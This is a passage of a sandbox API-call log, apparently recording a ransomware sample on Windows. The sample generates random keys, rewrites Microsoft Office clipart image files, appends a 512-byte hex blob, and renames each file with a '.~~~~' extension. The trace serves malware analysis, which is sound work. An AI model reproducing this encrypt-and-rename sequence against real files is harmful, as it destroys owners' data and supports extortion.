	[0094.504] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffeb75, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.504] WriteFile (in: hFile=0x13c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x148b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x148b, lpOverlapped=0x0) returned 1
	[0094.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0094.504] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.504] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.505] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.505] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.505] CloseHandle (hObject=0x13c) returned 1
	[0094.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.505] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.~~~~")) returned 1
	[0094.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0094.506] GetLastError () returned 0x0
	[0094.506] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0094.507] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.507] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0094.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0094.507] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21449753258) returned 1
	[0094.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa20ab210, dwHighDateTime=0x1d60e1e)) 
	[0094.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0094.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0094.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0094.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388758
	[0094.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388758 | out: hHeap=0x300000) returned 1
	[0094.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f130
	[0094.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.508] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0094.508] GetLastError () returned 0x0
	[0094.508] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0094.508] GetLastError () returned 0x0
	[0094.567] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffec99, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.567] WriteFile (in: hFile=0x13c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1367, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1367, lpOverlapped=0x0) returned 1
	[0094.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0094.568] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.568] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.568] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.568] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.568] CloseHandle (hObject=0x13c) returned 1
	[0094.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.568] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.~~~~")) returned 1
	[0095.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0095.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0095.174] GetLastError () returned 0x0
	[0095.190] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0095.191] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.191] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0095.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0095.191] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21518144164) returned 1
	[0095.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa2736e90, dwHighDateTime=0x1d60e1e)) 
	[0095.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0095.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0095.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0095.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388870
	[0095.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388870 | out: hHeap=0x300000) returned 1
	[0095.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0095.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f4c0
	[0095.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0095.192] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0095.192] GetLastError () returned 0x0
	[0095.192] GetLastError () returned 0x0
	[0095.192] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0095.193] GetLastError () returned 0x0
	[0095.193] GetLastError () returned 0x0
	[0095.339] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffecc08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.339] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x133f8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x133f8, lpOverlapped=0x0) returned 1
	[0095.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0095.342] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.342] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.342] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.342] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.342] CloseHandle (hObject=0x144) returned 1
	[0095.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0095.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.~~~~")) returned 1
	[0095.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0095.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0095.344] GetLastError () returned 0x0
	[0095.344] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0095.345] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.345] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0095.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0095.345] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21533561751) returned 1
	[0095.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa28b3c50, dwHighDateTime=0x1d60e1e)) 
	[0095.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0095.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0095.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0095.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0095.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0095.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0095.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f5f0
	[0095.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0095.346] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0095.346] GetLastError () returned 0x0
	[0095.347] GetLastError () returned 0x0
	[0095.347] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0095.347] GetLastError () returned 0x0
	[0095.347] GetLastError () returned 0x0
	[0095.986] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.986] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0095.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0095.987] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.987] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.987] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.987] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.987] CloseHandle (hObject=0x144) returned 1
	[0095.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0095.987] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.~~~~")) returned 1
	[0095.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0095.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0095.988] GetLastError () returned 0x0
	[0095.989] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0095.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.990] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0095.990] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21597999064) returned 1
	[0095.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa2ecd4b0, dwHighDateTime=0x1d60e1e)) 
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acaf8
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acaf8 | out: hHeap=0x300000) returned 1
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0095.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fab0
	[0095.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0095.990] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0095.991] GetLastError () returned 0x0
	[0095.991] GetLastError () returned 0x0
	[0095.991] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0095.991] GetLastError () returned 0x0
	[0095.991] GetLastError () returned 0x0
	[0096.012] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.012] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0096.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0096.015] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.015] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.015] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.015] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.015] CloseHandle (hObject=0x144) returned 1
	[0096.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.015] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.~~~~")) returned 1
	[0096.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0096.016] GetLastError () returned 0x0
	[0096.017] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0096.018] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.018] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0096.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0096.018] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21600833654) returned 1
	[0096.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa2f19770, dwHighDateTime=0x1d60e1e)) 
	[0096.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0096.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0096.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0096.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a98b8
	[0096.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98b8 | out: hHeap=0x300000) returned 1
	[0096.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fb48
	[0096.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.019] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0096.019] GetLastError () returned 0x0
	[0096.019] GetLastError () returned 0x0
